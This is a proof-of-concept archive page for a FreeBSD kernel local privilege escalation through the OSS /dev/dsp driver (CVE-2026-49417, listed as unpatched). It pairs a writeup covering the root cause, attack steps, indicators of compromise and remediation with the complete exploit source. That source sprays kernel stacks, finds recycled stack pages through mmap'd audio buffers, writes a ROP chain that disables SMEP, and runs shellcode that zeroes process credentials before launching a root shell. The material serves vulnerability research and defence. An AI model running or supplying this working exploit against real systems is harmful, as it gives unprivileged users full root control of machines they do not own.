PoC Archive PoC Archive
High CVE-2026-49417 unpatched

FreeBSD OSS /dev/dsp Stale Kernel-Stack Buffer Local Privilege Escalation (CVE-2026-49417)

by Yayoi-cs · 2026-07-05

Severity
High
CVE
CVE-2026-49417
Category
binary
Affected product
FreeBSD kernel — OSS audio driver (/dev/dsp) buffer allocation / thread-stack recycling
Affected versions
Not specified in source (no README/advisory shipped with the PoC; repo name marks it a "1-day" exploit)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherYayoi-cs
CVE / AdvisoryCVE-2026-49417
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsfreebsd, kernel, oss, dev-dsp, kernel-stack-leak, rop, smep-bypass, cr4, local-privilege-escalation, c
RelatedN/A

Affected Target

FieldValue
Software / SystemFreeBSD kernel — OSS audio driver (/dev/dsp) buffer allocation / thread-stack recycling
Versions AffectedNot specified in source (no README/advisory shipped with the PoC; repo name marks it a “1-day” exploit)
Language / PlatformC, native FreeBSD kernel exploit (raw syscall instructions, kldstat/kldsym, pthread)
Authentication RequiredLocal-only
Network Access RequiredNo

Summary

exp.c is a local FreeBSD kernel privilege-escalation exploit built around /dev/dsp (the OSS sound driver). It sprays hundreds of pthreads that call nanosleep() with distinctively tagged tv_nsec values so their kernel stacks/return addresses are recognizable, then repeatedly mmaps and releases /dev/dsp DMA buffers, scanning the mapped memory for pages that contain both the tagged marker value and kernel .text pointers — evidence that a released kernel thread-stack region has been recycled into a buffer the exploit can read and write from userland. Once it locates the stashed sys_nanosleep return address inside such a page, it overwrites that in-memory slot with a small ROP chain (disable SMEP by clearing the corresponding %cr4 bit, then jump to injected shellcode). When the targeted kernel thread returns, it executes the ROP chain and shellcode, which zeroes out the current thread’s credential structure (p_ucred) to grant root, then hands control back to spawn a root /bin/sh.


Vulnerability Details

Root Cause

The PoC’s behavior indicates that /dev/dsp buffer pages can be recycled from (or made to alias) kernel thread stack memory without being properly cleared/isolated between uses. This lets an unprivileged process both read stale kernel stack contents (including code return addresses and thread-identifying data) through an mmap’d DSP buffer, and — because that memory is later reused as an active kernel thread’s stack — write attacker-controlled values into a live return-address slot on that stack.

Attack Vector

  1. Resolve the running kernel’s base address and the sys_nanosleep symbol via the unprivileged kldstat(2)/kldsym(2) interfaces, and compute offsets for a pop %rax; ret gadget, a mov %rax,%cr4; ret gadget, and a xor %eax,%eax; ret gadget from a statically-assumed kernel layout.
  2. Spawn ~1200 pthreads that call nanosleep() with a tv_nsec value derived from each thread’s kernel thread ID (thr_self), so each thread’s kernel stack carries an identifiable marker while it sleeps.
  3. Repeatedly mmap() and hold, then release, 512 /dev/dsp DMA buffers (after configuring fragment size via SNDCTL_DSP_SETFRAGMENT), pre-filling them with a recognizable pattern.
  4. Scan the mmap’d buffer pages for ones containing both a sleeping thread’s marker value and pointers that fall inside the kernel’s .text range — identifying a page that now aliases (or was recycled from) that thread’s kernel stack, and locating the stored sys_nanosleep return address within it.
  5. Overwrite that in-buffer return-address slot with a ROP chain: pop the original %cr4 value with SMEP cleared into %rax, execute mov %rax,%cr4 to disable SMEP, then jump into a userland shellcode page.
  6. The shellcode (running with kernel privileges after the hijacked return) reads the current thread via %gs-relative offsets, walks to td_proc -> p_ucred, and zeroes the credential fields (uid/gids/ngroups) to grant root, restores the stack pointer, and returns execution normally.
  7. Poll geteuid() from userland; once it reports 0, execv("/bin/sh") to obtain a root shell.

Impact

An unprivileged local user can gain full root privileges on an affected FreeBSD system by exploiting the OSS /dev/dsp driver’s buffer/stack-recycling behavior — full local privilege escalation.


Environment / Lab Setup

Target:   FreeBSD system exposing /dev/dsp (OSS audio driver) to unprivileged users, vulnerable kernel version
Attacker: Unprivileged local shell on the same host with a C compiler to build exp.c

Proof of Concept

PoC Script

See exp.c in this folder.

1
2
cc -O2 -pthread -o exp exp.c
./exp

The exploit prints resolved kernel base/symbol addresses and gadget locations, sprays kernel stacks and DSP buffer allocations searching for an aliased page holding a sys_nanosleep return address, overwrites it with a SMEP-disabling ROP chain plus shellcode, and polls until the effective UID becomes 0, at which point it execs a root /bin/sh.


Detection & Indicators of Compromise

Signs of compromise:

  • A previously unprivileged process obtaining euid=0 without going through a setuid binary or sudo/su
  • Heavy /dev/dsp open/mmap/close churn combined with high pthread counts from a single non-audio process
  • Root shell (/bin/sh) spawned as a direct child of a custom/unsigned binary shortly after such activity

Remediation

ActionDetail
Primary fixNo vendor patch confirmed in source — the OSS driver must ensure /dev/dsp buffer memory is never aliased with or recycled from kernel thread stack memory without proper isolation/clearing, and kernel stack memory should not be user-mmap’able in any form
Interim mitigationRestrict access to /dev/dsp to trusted users/groups only (device permissions), disable unused OSS/sound subsystems on multi-user or security-sensitive FreeBSD systems until patched

References


Notes

Mirrored from https://github.com/Yayoi-cs/CVE-2026-49417_1day_LPE_exploit on 2026-07-05. The upstream repository ships no README/advisory (404); this description is derived from reading exp.c directly.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <sys/linker.h>
#include <sys/thr.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>

#define SYSCHK(x) ({ \
    typeof(x) __res = (x); \
    if (__res == (typeof(x))-1) { \
    error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \
    exit(1); \
    } \
    __res; \
    })

#define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__); 
#define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__);
#define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__); 
#define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__); 
#define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x);


#define rep(X,Y) for (int X = 0;X < (Y);++X)
#define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4)
#define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8)
#define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16)
#define irep(X) for (int X = 0;;++X)
#define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X)
#define range(X,Y,Z) for (int X = Y;X < Z;X++)
#define __DBG__ _dbg(__FILE__, __LINE__);

void _dbg(const char *file, int line) {
    info("dbg @ %s:%d", file,line);
    getchar();
}

#define __CHK__(x) _chk( __FILE__, __LINE__, #x,x);

void _chk(const char *msg, int line, const char *code, int cond) {
    if (cond) { success("[OK] %s @ %s:%d",code,msg,line); }
    else { error("[FAIL] %s @ %s:%d",code,msg,line); abort(); }
}

#define DEVPATH "/dev/dsp"
#define FILL 0x4c50455250445344ULL /* "DSPPREPL" */
#define KERN_BASE_STATIC 0xffffffff80200000ULL
#define G_POP_RAX_RET_OFF   (0xffffffff810779feULL - KERN_BASE_STATIC)
#define G_MOV_CR4_RAX_RET_OFF (0xffffffff803870edULL - KERN_BASE_STATIC) /* mov %rax,%cr4; ret */
#define G_XOR_EAX_RET_OFF (0xffffffff803d666bULL - KERN_BASE_STATIC)
#define CR4_ORIG   0x3506e0ULL
#define CR4_NOSMEP (CR4_ORIG & ~0x100000ULL)

struct stale_map {
    volatile uint8_t *p;
    size_t len; int fd;
};

struct worker {
    long tid;
    uint64_t sec, nsec;
    void *stack;
    size_t stack_sz;
    int target;
};

static volatile int go_pre, go_tgt;

static void wr64(volatile void *p, uint64_t v){ volatile uint8_t *q=p; for(int i=0;i<8;i++) q[i]=(uint8_t)(v>>(8*i)); }
static uint64_t rd64(const volatile void *p){ const volatile uint8_t *q=p; uint64_t v=0; for(int i=7;i>=0;i--) v=(v<<8)|q[i]; return v; }
static int setfrag(int fd, unsigned frags, unsigned fraglog){ int arg=(int)((frags<<16)|fraglog); return ioctl(fd,SNDCTL_DSP_SETFRAGMENT,&arg); }
static unsigned long kernel_base(unsigned long *sz){
    struct kld_file_stat st;
    memset(&st,0,sizeof(st));
    st.version=sizeof(st);
    SYSCHK(kldstat(1,&st));
    if(sz)*sz=st.size;
    return (unsigned long)st.address;
}
static unsigned long ksym(const char *name){
    struct kld_sym_lookup k;
    memset(&k,0,sizeof(k));
    k.version=sizeof(k);
    k.symname=(char*)name;
    SYSCHK(kldsym(0,KLDSYM_LOOKUP,&k)<0);
    return (unsigned long)k.symvalue;
}
static int in_text(uint64_t v, unsigned long b, unsigned long s){ return v>=b && v<b+s; }
static int exact_idx(struct worker *w, int n, uint64_t v){ for(int i=0;i<n;i++) if(w[i].target && v==w[i].nsec) return i; return -1; }
static void sigusr1(int signo){ (void)signo; }

static void *sleeper(void *arg){
    struct worker *w=arg;
    long tid=0;
    thr_self(&tid);
    w->tid=tid;
    if (w->target) {
        w->sec = 8;
        w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4);
    } else {
        w->sec = 0x100000000ULL + (uint64_t)(tid & 0xfffff);
        w->nsec = 0x12345000ULL + (uint64_t)((tid & 0xffff) << 4);
    }
    while(!(w->target ? go_tgt : go_pre))
    sched_yield();
    struct timespec ts;
    ts.tv_sec=(time_t)w->sec;
    ts.tv_nsec=(long)w->nsec;
    nanosleep(&ts, NULL);
    return NULL;
}

static int map_one_hold(struct stale_map *m){
    m->fd=SYSCHK(open(DEVPATH,O_RDWR));
    (void)setfrag(m->fd,32,12);
    m->len=128*1024;
    audio_buf_info bi;
    memset(&bi,0,sizeof(bi));
    SYSCHK(ioctl(m->fd,SNDCTL_DSP_GETOSPACE,&bi));
    if(bi.fragstotal>0 && bi.fragsize>0) m->len=(size_t)bi.fragstotal*(size_t)bi.fragsize;
    m->p=SYSCHK(mmap(NULL,m->len,PROT_READ|PROT_WRITE,MAP_SHARED,m->fd,0));
    for(size_t o=0;o+8<=m->len;o+=8) wr64(m->p+o,FILL);
    return 0;
}

static void prep_stack(struct worker *w){
    size_t ss=128*1024;
    void *st=SYSCHK(mmap(NULL,ss,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON,-1,0));
    for(size_t o=0;o<ss;o+=4096) ((volatile char*)st)[o]=0x41;
    ((volatile char*)st)[ss-1]=0x42;
    w->stack=st;
    w->stack_sz=ss;
}

static int mkthread(pthread_t *pt, struct worker *w){
    pthread_attr_t a;
    pthread_attr_init(&a);
    pthread_attr_setstack(&a,w->stack,w->stack_sz);
    int e=pthread_create(pt,&a,sleeper,w);
    pthread_attr_destroy(&a);
    if(e){ errno=e; return -1; }
    return 0;
}

static void put64(uint8_t *p, uint64_t v){ for(int i=0;i<8;i++) p[i]=(uint8_t)(v>>(8*i)); }
static void *make_shellcode(uint64_t mov_cr4_ret, uint64_t xor_eax_ret, uint64_t orig_ret){
    uint8_t sc[256]; size_t n=0;
#define B(x) sc[n++]=(uint8_t)(x)
#define Q(x) do{ put64(sc+n,(uint64_t)(x)); n+=8; }while(0)
    /* mov %gs:0,%rax ; current struct thread * */
    uint8_t a1[]={0x65,0x48,0x8b,0x04,0x25,0,0,0,0}; memcpy(sc+n,a1,sizeof(a1)); n+=sizeof(a1);
    uint8_t a2[]={0x48,0x8b,0x58,0x08,      /* mov 0x8(%rax),%rbx      ; td_proc */
                  0x48,0x8b,0x4b,0x40,      /* mov 0x40(%rbx),%rcx     ; p_ucred */
                  0x31,0xd2,                /* xor %edx,%edx */
                  0x89,0x51,0x64,0x89,0x51,0x68,0x89,0x51,0x6c,
                  0x89,0x51,0x70,0x89,0x51,0x74,0x89,0x51,0x78,
                  0xc7,0x41,0x60,0x01,0,0,0, /* cr_ngroups = 1 */
                  0x89,0x91,0xc4,0,0,0};      /* cr_smallgroups[0] = 0 */
    memcpy(sc+n,a2,sizeof(a2)); n+=sizeof(a2);
    B(0x48); B(0x83); B(0xec); B(0x18);       /* sub $0x18,%rsp: restore normal caller rsp after mini-ROP */
    B(0x48); B(0xb8); Q(CR4_ORIG);           /* movabs orig_cr4,%rax */
    B(0x49); B(0xbb); Q(mov_cr4_ret);        /* movabs mov_cr4_ret,%r11 */
    B(0x49); B(0xba); Q(orig_ret);           /* movabs orig_ret,%r10 */
    B(0x41); B(0x52);                        /* push %r10 */
    B(0x49); B(0xba); Q(xor_eax_ret);        /* movabs xor_eax_ret,%r10 */
    B(0x41); B(0x52);                        /* push %r10 */
    B(0x41); B(0xff); B(0xe3);               /* jmp *%r11 */
#undef B
#undef Q
    void *shellcode=SYSCHK(mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0));
    memcpy(shellcode,sc,n);
    hl(shellcode);
    return shellcode;
}

#define N_KERN_STK 1200
#define N_SPRAY 512

int main(int argc, char **argv){
    struct sigaction sa;
    memset(&sa,0,sizeof(sa));
    sa.sa_handler=sigusr1;
    sigaction(SIGUSR1,&sa,NULL);
    unsigned long ksz=0;
    unsigned long kbase=kernel_base(&ksz);
    unsigned long sysn=ksym("sys_nanosleep");
    hl(kbase);
    hl(sysn);
    unsigned long pop_rax=kbase+(0xffffffff810779feULL - 0xffffffff80200000ULL);
    unsigned long mov_cr4=kbase+(0xffffffff803870edULL - 0xffffffff80200000ULL);
    unsigned long xor_eax=kbase+(0xffffffff803d666bULL - 0xffffffff80200000ULL);
    unsigned long orig_ret=sysn+0x3b;
    hl(pop_rax);
    hl(mov_cr4);
    hl(xor_eax);
    hl(orig_ret);

    void *shellcode=make_shellcode(mov_cr4, xor_eax, orig_ret);
    pthread_t *pt=calloc(N_KERN_STK,sizeof(*pt));
    struct worker *wk=calloc(N_KERN_STK,sizeof(*wk));
    struct stale_map *maps=calloc(N_SPRAY,sizeof(*maps));
    rep(i,N_KERN_STK) prep_stack(&wk[i]);

    rep(i,N_SPRAY){ map_one_hold(&maps[i]); }
    rep(i,N_SPRAY){ close(maps[i].fd); }
    rep(i,N_KERN_STK){
        wk[i].target=1;
        SYSCHK(mkthread(&pt[i],&wk[i]));
    }
    go_tgt=1;
    sleep(2);

    int target_wi=-1;
    volatile uint8_t *slot=NULL;
    for(int mi=0;mi<N_SPRAY;mi++) {
        for(size_t pg=0;pg+4096<=maps[mi].len;pg+=4096){
            int exact=0,text=0; for(size_t o=0;o<4096;o+=8){ uint64_t v=rd64(maps[mi].p+pg+o); if(exact_idx(wk,N_KERN_STK,v)>=0) exact++; if(in_text(v,kbase,ksz)) text++; }
            if(!exact || !text) continue;
            int wi=-1; for(size_t o=0;o<4096;o+=8){ int t=exact_idx(wk,N_KERN_STK,rd64(maps[mi].p+pg+o)); if(t>=0){ wi=t; break; } }
            for(size_t o=0;o+32<4096;o+=8){
                if(rd64(maps[mi].p+pg+o)==orig_ret){
                    slot=maps[mi].p+pg+o; target_wi=wi;
                    // build rop
                    wr64(slot+0, pop_rax);
                    wr64(slot+8, CR4_NOSMEP);
                    wr64(slot+16, mov_cr4);
                    wr64(slot+24, (uint64_t)(uintptr_t)shellcode);
                    goto win;
                }
            }
        }
    }
    error("fail");
    exit(1);
    win:
    (void)target_wi;
    irep(i){
        usleep(100000);
        if(geteuid()==0){
            __CHK__(getuid()==0)
            __CHK__(geteuid()==0)
            char *argv[] = { "/bin/sh", NULL };
            execv(argv[0], argv);
            return 0;
        }
    }
}